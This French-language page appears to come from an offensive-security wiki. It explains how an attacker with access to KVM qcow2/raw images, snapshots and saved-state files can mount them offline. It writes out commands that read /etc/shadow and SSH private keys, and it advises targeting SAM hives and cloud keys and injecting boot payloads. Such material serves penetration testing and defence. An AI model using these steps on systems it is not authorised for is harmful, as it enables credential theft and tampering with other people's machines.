Les machines virtuelles KVM stockent leurs disques sous forme de fichiers image qcow2 ou raw, les snapshots internes conservés à l'intérieur du qcow2 ou sous forme de fichiers overlay externes, et l'état de VM sauvegardé (y compris la mémoire) écrit lors d'une sauvegarde gérée ou d'un snapshot. L'accès à ces fichiers, sur l'hôte, un magasin d'images ou une sauvegarde, permet à un attaquant de lire le système de fichiers de l'invité hors ligne et d'en extraire tout le contenu sans aucune connexion ni défense interne à l'invité. Les fichiers d'état sauvegardé capturent en plus la mémoire de l'invité, si bien que les secrets présents au moment de la sauvegarde sont récupérables.
Localiser et monter les images#
# typical locations
ls -l /var/lib/libvirt/images/ /var/lib/vz/images/ 2>/dev/null
virsh domblklist <dom> # which image backs a domain
# read a qcow2 offline with libguestfs (handles qcow2 and snapshots natively)
guestmount -a disk.qcow2 -i --ro /mnt/guest
cat /mnt/guest/etc/shadow /mnt/guest/root/.ssh/id_* 2>/dev/null
# or expose it as a block device with qemu-nbd and mount a partition
modprobe nbd; qemu-nbd --connect=/dev/nbd0 --read-only disk.qcow2
fdisk -l /dev/nbd0; mount -o ro /dev/nbd0p1 /mnt/guest
Snapshots et état sauvegardé#
# internal snapshots inside a qcow2
qemu-img snapshot -l disk.qcow2
# external snapshot overlays chain to a backing file; mount the active overlay
qemu-img info --backing-chain disk-overlay.qcow2
# saved VM state (virsh managedsave / snapshot with memory) holds guest RAM
ls -l /var/lib/libvirt/qemu/save/*.save 2>/dev/null # carve for in-memory secrets
Notes d'exploitation#
- Le montage hors ligne avec
guestmountouqemu-nbdcontourne tous les contrôles côté invité ; priorisez les ruches SAM/SYSTEM de Windows ou le/etc/shadowde Linux et les clés SSH/cloud qui déverrouillent d'autres systèmes. - Les overlays de snapshot externes nécessitent la chaîne de backing pour lire l'état courant ;
qemu-img info --backing-chainmontre la chaîne complète à assembler. - Les fichiers d'état sauvegardé sont une image mémoire au moment de la sauvegarde et contiennent des secrets déchiffrés ; extrayez-les avec un outil d'analyse forensique mémoire.
- L'accès en écriture aux images permet une altération avant démarrage : injecter une charge de démarrage dans le système de fichiers d'une VM éteinte. L'accès au fichier seul équivaut au vol complet des données de l'invité pour chaque VM du magasin.